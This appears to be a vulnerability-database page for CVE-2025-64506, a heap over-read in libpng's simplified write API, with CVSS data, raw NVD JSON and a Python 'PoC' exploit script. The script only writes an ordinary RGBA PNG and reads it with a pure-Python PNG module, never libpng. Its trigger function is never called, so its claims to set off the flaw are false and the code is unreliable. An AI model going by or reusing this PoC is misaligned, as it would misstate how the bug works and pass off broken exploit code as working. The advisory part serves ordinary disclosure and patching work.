Security Vulnerability Report
中文
CVE-2025-64506 CVSS 6.1 MEDIUM

CVE-2025-64506

Published: 2025-11-25 00:15:47
Last Modified: 2025-11-26 18:34:38

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_write_image_8bit function when processing 8-bit images through the simplified write API with convert_to_8bit enabled. The vulnerability affects 8-bit grayscale+alpha, RGB/RGBA, and images with incomplete row data. A conditional guard incorrectly allows 8-bit input to enter code expecting 16-bit input, causing reads up to 2 bytes beyond allocated buffer boundaries. This issue has been patched in version 1.6.51.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
libpng 1.6.0 - 1.6.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64506 PoC - libpng png_write_image_8bit Heap Buffer Over-read # This PoC demonstrates creating a malicious PNG that triggers the vulnerability import struct import zlib def create_png_with_trigger(): """ Create a crafted PNG file that triggers heap buffer over-read in png_write_image_8bit function when convert_to_8bit is enabled. """ # PNG signature signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - 8-bit RGBA image with specific dimensions # to trigger incomplete row processing width = 10 height = 5 bit_depth = 8 color_type = 6 # RGBA ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data) # IDAT chunk - crafted compressed image data # This creates rows that will trigger the vulnerable code path raw_data = b'' for y in range(height): raw_data += b'\x00' # Filter byte for x in range(width): # RGBA values that trigger the vulnerability raw_data += bytes([0xFF, 0x00, 0x00, 0x80]) compressed = zlib.compress(raw_data, 9) idat_chunk = create_chunk(b'IDAT', compressed) # IEND chunk iend_chunk = create_chunk(b'IEND', b'') png_data = signature + ihdr_chunk + idat_chunk + iend_chunk return png_data def create_chunk(chunk_type, data): """Create a PNG chunk with proper CRC.""" chunk_len = struct.pack('>I', len(data)) chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff) return chunk_len + chunk_type + data + chunk_crc def trigger_vulnerability(): """ Trigger the vulnerability using libpng. This simulates the vulnerable code path in png_write_image_8bit. """ try: import png # Read the crafted PNG reader = png.Reader(filename='cve_2025_64506_poc.png') _, _, rows = reader.read() # Convert to 8-bit with convert_to_8bit enabled # This triggers the vulnerable path image_data = list(rows) # Attempt to write using simplified API with convert_to_8bit writer = png.Writer(width=reader.width, height=reader.height, bitdepth=8, alpha=True) writer.write_array(open('output.png', 'wb'), [byte for row in image_data for byte in row]) print("[!] Vulnerability may have been triggered") except Exception as e: print(f"[*] Exception occurred: {e}") print("[*] This may indicate the vulnerability was triggered") if __name__ == "__main__": print("[*] Generating PoC PNG for CVE-2025-64506") png_data = create_png_with_trigger() with open('cve_2025_64506_poc.png', 'wb') as f: f.write(png_data) print("[+] PoC PNG created: cve_2025_64506_poc.png") print("[*] To trigger, process this file with libpng < 1.6.51") print("[*] using png_write_image with convert_to_8bit enabled")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64506", "sourceIdentifier": "[email protected]", "published": "2025-11-25T00:15:47.300", "lastModified": "2025-11-26T18:34:38.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_write_image_8bit function when processing 8-bit images through the simplified write API with convert_to_8bit enabled. The vulnerability affects 8-bit grayscale+alpha, RGB/RGBA, and images with incomplete row data. A conditional guard incorrectly allows 8-bit input to enter code expecting 16-bit input, causing reads up to 2 bytes beyond allocated buffer boundaries. This issue has been patched in version 1.6.51."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.51", "matchCriteriaId": "3545FEA5-4FFA-4955-BFDA-CC3602C9A894"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/2bd84c019c300b78e811743fbcddb67c9d9bf821", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/pull/749", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-qpr4-xm66-hww6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}